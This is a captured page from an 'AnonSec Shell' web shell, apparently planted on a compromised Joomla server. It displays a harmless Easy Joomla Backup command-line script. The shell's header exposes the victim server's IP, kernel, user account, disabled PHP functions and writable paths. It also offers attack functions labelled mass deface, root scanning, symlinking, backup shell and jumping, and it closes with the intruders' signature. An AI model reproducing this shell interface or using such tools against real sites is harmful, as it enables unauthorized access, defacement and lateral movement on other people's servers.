AnonSec Shell
Server IP : 188.40.219.11  /  Your IP : 3.21.205.34   [ Reverse IP ]
Web Server : Apache
System : Linux sr47.firestorm.ch 5.15.0-82-generic #91-Ubuntu SMP Mon Aug 14 14:14:14 UTC 2023 x86_64
User : web235 ( 10240)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec,system,proc_open,popen,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,xmlrpc_entity_decode, phpAds_XmlRpc, phpAds_xmlrpcDecode, phpAds_xmlrpcEncode,posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_setuid, posix_uname,proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, syslog, xmlrpc_entity_decode,apache_child_terminate, apache_setenv, define_syslog_variables, eval, highlight_file, ini_alter, ini_get_all, ini_restore, inject_code, openlog, exec, system
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/web235.sr47.firestorm.ch/httpdocs/cli/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/vhosts/web235.sr47.firestorm.ch/httpdocs/cli/ejb_cli.php
<?php
/**
 * @package    EJB - Easy Joomla Backup for Joomal! 3.x
 * @author     Viktor Vogel <admin@kubik-rubik.de>
 * @version    3.2.5 - 2017-10-09
 * @link       https://joomla-extensions.kubik-rubik.de/ejb-easy-joomla-backup
 *
 * @license    GNU/GPL
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

// Make sure we're being called from the command line, not a web interface
if(PHP_SAPI !== 'cli')
{
	die('This is a command line only application.');
}

// We are a valid entry point.
const _JEXEC = 1;

// Load system defines
if(file_exists(dirname(__DIR__).'/defines.php'))
{
	require_once dirname(__DIR__).'/defines.php';
}

if(!defined('_JDEFINES'))
{
	define('JPATH_BASE', dirname(__DIR__));
	require_once JPATH_BASE.'/includes/defines.php';
}

// Get the framework.
require_once JPATH_LIBRARIES.'/import.legacy.php';

// Bootstrap the CMS libraries.
require_once JPATH_LIBRARIES.'/cms.php';

// Import the configuration.
require_once JPATH_CONFIGURATION.'/configuration.php';

// System configuration.
$config = new JConfig;

// Configure error reporting to maximum for CLI output.
error_reporting(E_ALL);
ini_set('display_errors', 1);

/**
 * A command line script to create backup files with Easy Joomla! Backup
 */
class EJBCronCli extends JApplicationCli
{
	/**
	 * Entry point for CLI script
	 */
	public function doExecute()
	{
		$argv = $this->input->get('arg', array(), 'ARRAY');

		if(empty($argv[1]))
		{
			$argv[1] = 1;
		}

		$type = (int)$argv[1];

		// Set default backup typ if wrong or no argument is provided
		if(!intval($type) OR (!in_array($type, array(1, 2, 3))))
		{
			$type = 1;
		}

		// Set the correct type name how it is used in the component
		if($type == 1)
		{
			$type = 'fullbackup';
		}
		elseif($type == 2)
		{
			$type = 'databasebackup';
		}
		elseif($type == 3)
		{
			$type = 'filebackup';
		}

		$_SERVER['HTTP_HOST'] = '';
		JFactory::getApplication('administrator');

		// Okay, we have everything to start the backup process - let's do it!
		$this->backupCreate($type);
	}

	/**
	 * Creates the backup archive in dependence on the submitted type
	 * Based on the original controller function of the component
	 *
	 * @param string $type
	 */
	private function backupCreate($type)
	{
		// Try to increase all relevant settings to prevent timeouts on big sites
		ini_set('memory_limit', -1);
		@set_time_limit(0);

		// Load the correct model from the component
		JLoader::import('createbackup', JPATH_ADMINISTRATOR.'/components/com_easyjoomlabackup/models');
		$model = JModelLegacy::getInstance('createbackup', 'EasyJoomlaBackupModel');

		// Execute the backup process
		if($model->createBackup($type, 'cli'))
		{
			// Remove unneeded backup files
			$model->removeBackupFilesMax();

			// Backup was created successfully, the result is 1
			echo true;

			return;
		}

		// If an error occured, the result is 0
		echo false;
	}
}

// Start the execution process of the CLI script
$cli_start = JApplicationCli::getInstance('EJBCronCli');
$cli_start->input->set('arg', $argv);
$cli_start->execute();

Anon7 - 2022
AnonSec Team